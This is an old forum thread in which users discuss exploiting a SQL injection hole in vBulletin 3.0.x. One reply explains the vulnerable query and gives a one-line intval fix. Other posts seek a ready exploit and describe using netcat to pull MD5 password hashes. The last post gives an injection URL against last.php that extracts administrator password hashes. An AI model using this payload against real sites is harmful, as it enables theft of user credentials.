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	Sql Inject In VB 3.0.x !! | 
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		 Posted: Thu Sep 16, 2004 8:18 am | 
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				| Zilly |  
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			hi every body ,, thanx for the nice forums i like it  
 
 
any way i want every body to take a look at this
 
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
 
    well, its sql inject,, i'm studying it this days and i kinda wana help in this,
 
 
how to Execute this security hole and another important thing is how to fix it ??
 
 
thats all folks    | 
		 
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			 _________________ Zilly is Here   | 
		 
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	Re: Sql Inject In VB 3.0.x !! | 
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		 Posted: Thu Sep 16, 2004 10:39 am | 
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				| Heintz |  
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			 	  | Zilly wrote: | 	 		  hi every body ,, thanx for the nice forums i like it  
 
 
any way i want every body to take a look at this
 
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
 
    well, its sql inject,, i'm studying it this days and i kinda wana help in this,
 
 
how to Execute this security hole and another important thing is how to fix it ??
 
 
thats all folks    | 	  
 
 
strange thing is that intval()- is used to get the value, but not used before passing to query   .
 
anyway the trick is to "continue" (in this case here) sql query.
 
 
query ends like this: userid = " . $item_number[1]
 
 
so you POST your value to item_number. name of it is x_invoice_num and its value is something like valuea_valueb_valuec, ju must manipulate valueb,  lets assume you posted something like this: 
 
 
then (depends on viewing part of script) you should see somewhere on the page, a list of tables that are in that database. and with little thinking you make more "useful" queries that this  
 
hint: mysql manual
 
 
fixing:
 
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$item_number[1] = abs(intval($item_number[1]));
 
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add this line somewhere before the query, and it should do it | 
		 
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		 Posted: Fri Sep 17, 2004 5:41 am | 
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				| Zilly |  
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			thanx Heintz,, well i know some how that the file that contains the sql inject is authorize.php
 
 
what i'm tryin to do now is to inject but can i ask a question ??
 
 
when we use the authorize.php ?
 
 
i mean in normal not injecting ??
 
 
and thanx again ,,
 
 
Zilly | 
		 
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		 Posted: Fri Sep 17, 2004 4:13 pm | 
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				| zer0-c00l |  
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		 Posted: Fri Sep 17, 2004 5:35 pm | 
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				| hebe |  
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			| is there any exploit for this | 
		 
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		 Posted: Fri Sep 17, 2004 8:49 pm | 
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				| SteX |  
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			 _________________
  
 
We would change the world, but God won't give us the sourcecode...
 
....Watch the master. Follow the master. Be the master....
 
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		 Posted: Sun Sep 19, 2004 8:42 pm | 
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				| waraxe |  
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			I have played a little bit with that security bug and got some results.
 
Will share them tomorrow in this thread, so stay tuned!!!    | 
		 
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		 Posted: Wed Sep 22, 2004 8:36 pm | 
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				| Zilly |  
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			wow thanx man
 
 
my brain has been exploed LOL  
 
 
this time really i will not change the channel    
 
 
Zilly | 
		 
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		 Posted: Tue Nov 09, 2004 6:48 pm | 
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				| Zilly |  
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			after searching and reading and like this stuff
 
i found that i can excute this expliot by netcat
 
ex:
 
nc -n -v ***.***.***.*** 80
 
then i have to enter some POST command
 
after that i'll get the MD5 hash password ..
 
 
okay now we are near ...   
 
 
and i need help also ..
 
 
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			 _________________ Zilly is Here   | 
		 
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		 Posted: Fri Nov 12, 2004 6:10 pm | 
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				| LINUX |  
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			new SQL injection found in VBulletin Forums 3.0.x
 
 
the Vulnerabilite found in last.php, last 10 topics hack.
 
 
 
last.php?fsel=,user.password%20as%20title,user.%20 
 
%20%20%20username%20as%20lastposter%20FROM%20user, 
 
thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201
 
 
 
enjoy | 
		 
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